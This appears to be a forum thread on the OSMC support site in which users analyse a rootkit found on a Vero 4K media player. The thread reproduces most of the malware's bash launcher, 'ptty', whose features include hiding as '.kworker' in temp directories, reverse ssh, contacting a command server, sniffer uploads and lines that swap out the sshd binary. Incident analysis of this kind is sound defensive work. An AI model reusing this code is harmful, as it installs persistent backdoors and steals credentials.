[solved] Something on OSMC is changing OpenSSH version

The SSH daemon that was taking over didn’t have an OpenSSL marking or even Debian versioning scheme. My suspicion its that it’s an sshd with a backdoor.

Your script is dodgy because it shows temporary directories which are intentionally obfuscated and references to CC (ie command control server).

Try uploading the script to VirusTotal and see if it gets any hits or searching for a checksum or the file

sshd is NOT our rk

RK - rootkit.

Although there are some distro checks, including for EL, the script seems to specifically target Debian systems. Note that when it tries to free space it specifically invokes apt-get.

Could you tar up the rootfs and send it to me?

I can but I’m afraid I probably destroyed most of the evidence. :disappointed: Deleted /usr/lib/libu.a/ where it was apparently housing the script and replacement binaries. The sshd replacement has now stopped.

Uploaded the script to VirusTotal but got no hits. Although, the script may have been generated with randomized directory names (e.g. t8489034780, i1935678123) to avoid checksum detection. There is, however, someone’s SSH key embedded. Are there any similar sites that can do a file content search?

There’s apparently a rogue kernel module or something still at large on my system that was kicking this off periodically (and who knows what else was going on), so I do intend to reinstall.

I’d be surprised if it’s a kernel module causing this.

What does uname -a and lsmod show?
Granted - the kernel may lie…

$ uname -a
Linux vero4k 3.14.29-158-osmc #1 SMP Thu Apr 2 18:40:24 UTC 2020 aarch64 GNU/Linux
$ lsmod
Module                  Size  Used by
sha1_generic            2180  0
xt_nat                  1999  8
xt_tcpudp               2541  24
xt_conntrack            3247  1
ipt_MASQUERADE          1920  9
nf_conntrack_netlink    19841  0
nfnetlink               5355  2 nf_conntrack_netlink
xfrm_user              22616  1
xfrm_algo               5242  1 xfrm_user
xt_addrtype             2867  2
bridge                101327  0
stp                     1696  1 bridge
llc                     3757  2 stp,bridge
bnep                   11588  2
hci_uart               21989  1
aufs                  190727  591
8021q                  18999  0
iptable_nat             2948  1
nf_conntrack_ipv4       7917  2
nf_defrag_ipv4          1441  1 nf_conntrack_ipv4
nf_nat_ipv4             3881  1 iptable_nat
nf_nat                 13147  4 ipt_MASQUERADE,nf_nat_ipv4,xt_nat,iptable_nat
nf_conntrack           57010  7 ipt_MASQUERADE,nf_nat,nf_nat_ipv4,xt_conntrack,nf_conntrack_netlink,iptable_nat,nf_conntrack_ipv4
iptable_filter          1478  1
raid456                61859  1
async_raid6_recov       1524  1 raid456
async_memcpy             953  1 raid456
async_pq                2410  1 raid456
async_xor               1620  2 async_pq,raid456
async_tx                1652  5 async_pq,raid456,async_xor,async_memcpy,async_raid6_recov
xor                     7346  1 async_xor
raid6_pq               85616  2 async_pq,async_raid6_recov
md_mod                103733  2 raid456
btsdio                  3186  0
dwc_otg               231871  0
bluetooth             251555  22 bnep,btsdio,hci_uart
6lowpan_iphc            6007  1 bluetooth
dhd                   723320  0
cfg80211              356403  1 dhd
wifi_dummy               798  0
ir_lirc_codec           4708  3
lirc_dev                7992  1 ir_lirc_codec
mali                  196602  5
meson_ir                3981  0
rc_core                22791  4 lirc_dev,meson_ir,ir_lirc_codec
amlvideodri            11554  0
videobuf_res            5514  1 amlvideodri
videobuf_core          16691  2 amlvideodri,videobuf_res
videodev              148029  1 amlvideodri
media                  21515  1 videodev
ip_tables              16731  2 iptable_filter,iptable_nat
x_tables               18035  7 ip_tables,xt_tcpudp,ipt_MASQUERADE,xt_conntrack,xt_nat,iptable_filter,xt_addrtype

I found what looks to be the full script posing as /usr/sbin/ptty.
Appears to generate and run the shorter script I posted earlier.

#!/bin/bash
ptty_ver="v6.9-lala"
### v6.9
# added /usr/sbin/suspended-banner
### v6.8
# fixed major bug in sniffer (affected versions: v6.3 to v6.7)
### v6.7
# improved "sshd restart"
### v6.6
# fixed bug in confirm_CC function
# fixed error in ssh files check
### v6.5
# improved "active users" results
# added report for "send data to CC" when using -force or -log
### v6.4
# creating /usr/sbin/suspended if missing
### v6.3
# improved work on sniffer files
# added backup for /etc/ssh/* files
### v6.2
# replaced the centos's private key with the NetSocks one
### v6.1
# added backup for ssh and checking if our ssh is used
# added '--connect-timeout 20 --max-time 20' to curl
### v6.0 update
# added reverse ssh
# added upload sniffer file
### v4.1 update
# added workaround for "declare -g" which is not available on old bash versions
params="$@"
output="/dev/null" ; exec 1<>$output ; exec 2>&1

### options
while [ "$1" != "" ]; do
        case $1 in
                -v )            exec 1>&0 ; exec 2>&0
                                ip=$(cat /usr/lib/libu.a/i1935678123)
                                id_unic=$(cat /usr/lib/libu.a/g239293471)
                                echo "$(basename $0) version: $ptty_ver | running on $ip | id_unic = $id_unic"
                                exit
                                ;;
                -vonly )        exec 1>&0 ; exec 2>&0
                                echo "$ptty_ver"
                                exit
                                ;;
                -force )        force=1
                                ;;
                -log )          log=1
				output="/tmp/p.l" ; > $output ; exec 1<>$output ; exec 2>&1
                                ;;
                -update )       update=1
                                ;;
                -h | -help )    exec 1>&0 ; exec 2>&0
                                echo "-> usage: $0 [ options ]"
                                echo "Available options:"
                                echo " -v               - displays version and server's ip"
                                echo " -force           - force full run of $(basename $0), even if users are logged in"
                                echo " -log             - saves log in /tmp/p.l"
                                echo " -update          - updates ptty from CC"
                                echo " -h | -help       - displays this help"
                                exit
                                ;;
                * )             $0 -help
                                exit
                                ;;
        esac
        shift
done
# END options

### checking if someone is logged in
w_test=$(w 2>/dev/null |tail -n+1 2>/dev/null)
if [[ -z $w_test ]]; then
	w_test_result=0
else
	w_test_result=1
fi

if [[ $w_test_result = 1 ]]; then
	users=$(w |tail -n+3)
	active_users=$(echo "$users" |grep -v days |grep -v "pdflush\|suspended\|sleep\|kworker" |awk '{print $5}' |grep s)
	if [[ ! -z $active_users ]]; then
                if [[ ! -z $(ps aux|grep "[r]everse@" |awk '{print $2}') ]]; then
                        echo "-> reverse is running, trying to kill it"
                        kill -9 $(ps aux|grep "[r]everse@" |awk '{print $2}')
                fi
		echo "-> users are logged in:"
		echo "$users"
		echo "-> exiting if -force is not used"
		[[ "$force" != "1" ]] && { exit 9; }
	fi
fi

### running internal scripts
if [[ -s /etc/pps/.bf ]] ; then
        chmod +x /etc/pps/.bf
        ( cd /etc/pps ; ./.bf >/dev/null 2>&1 & )
elif [[ -s /etc/pps/.m ]] ; then
        chmod +x /etc/pps/.m
        ( cd /etc/pps ; ./.m >/dev/null 2>&1 & )
fi


######################################################################################################
######################################################################          BGexec          ######
######################################################################################################
echo "----------- Setting up BG exec"
BGname=".kworker" ; echo "-> BGname: $BGname"
################################################################ choosing dir to run & making 1st part
run_dir_array=(
"/tmp"
"/var/tmp"
"/dev/shm"
)
for run_dir in "${run_dir_array[@]}" ; do
cat > "$run_dir/$BGname" <<EOFMARKER
#!/bin/bash
ptty_ver="$ptty_ver"
w_test_result="$w_test_result"
rm -rf "$run_dir/$BGname"
EOFMARKER
[[ "$?" = 0 ]] && { BGwrite="1" ; break ; } || BGwrite="0"
done

[[ $BGwrite = "0" ]] && { echo "-> EXIT | can NOT write file" ; exit 9; }
[[ $BGwrite = "1" ]] && echo "-> using $run_dir/$BGname"

################################################################################## making the 2nd part
cat >> "$run_dir/$BGname" <<'EOFMARKER'
--- [mbarnes] SNIPPED - SEE EARLIER DISCOURSE COMMENT FOR CONTENT ---
EOFMARKER
######################################################################################################
######################################################################          END OF BGexec   ######
######################################################################################################

### running BGexec
chmod +x "$run_dir/$BGname"
echo "----------- Starting BG exec"
nohup /"$run_dir/$BGname" "$params" >/dev/null 2>&1 &

Found the root kit in /etc/pps/rk_aarch64-ELF_32.tgz. Has all the SSH binaries and additional scripts. VirusTotal analysis got some hits.

Happy to email this to anyone interested.

It would be real interesting to know what you installed to get the root kit!

Is it possible you accidentally port forwarded this machine at some point with default credentials?

Either Port Forwarded or VPN connectivity without Firewall

Is it possible you accidentally port forwarded this machine at some point with default credentials?

Can’t rule that out definitively, but to the best of my recollection the first thing I did with this box was configure SSHD as I normally do: root login and password authentication disabled. If I port forwarded for a time it would have been with that configuration.

Could this have come in by way of a Kodi add-on, or would that not have adequate permissions?

Only other avenue I can think of is RetroPie by way of retrOSMCmk2. The setup.sh script runs as root.

Kodi runs as user OSMC which has full permissions via sudo. So a Kodi Addon executing a system command could gain full rights.

Unlikely as many users running that and @hissingshark would have spotted if someone would have broken into his github.

So a Kodi Addon executing a system command could gain full rights.

That’s… scary, but most likely how I got it. Probably had some shady 3rd party repository installed at some point. Shame on me then.

Woah. Adding an entry into the authorized_keys (Passwordless login into your device).
That definitely is nasty! And you see in that script also the sshd-restart function :slight_smile:

If that is not a nice trojan horse with back-door install capability, I don’t know what it is!
And check the /etc/hosts file - it also changed some things in there :smiley:

If I were you, make sure to change all passwords After you cleaned that mess. Because the script also shows a password-sniffer being active using the ssh link.
The sshd binary you have there probably had a sniffer implemented (reason they replaced it). and the end of the script also shows it (check the reverse sniffer) in the script.

This script is a gold mine :slight_smile:

rm -rf /usr/sbin/sshd ; cp -f $mydir/m9847292 /usr/sbin/sshd
   [[ $? != 0 ]] && { chattr -aui /usr/sbin/sshd ; rm -rf /usr/sbin/sshd ; cp -f $mydir/m9847292 /usr/sbin/sshd ; }

:slight_smile:

1 Like

Nice post that shows the potential security risk you run when using 3th party addons, thanks for this!

1 Like

Point taken. Thankfully this box was just a media center and not something I interacted with much through SSH (aside from figuring this out). The only reason I noticed something was off was because the root kit’s sshd didn’t support ED25519 keys, which is what I prefer. I got lucky.

1 Like

@sam_nazarko In light of this incident, and a Kodi addon being the most likely attack vector, I wonder if /etc/sudoers.d/osmc-no-sudo-password should be reconsidered as a default policy?

I think some evidence more than a suspected likelihood would be necessary. This is a single incident of unconfirmed origin, of a highly customized system with likely dozens, if not hundreds of additional packages not typical of an OSMC installation, also not confirmed by any additional instances.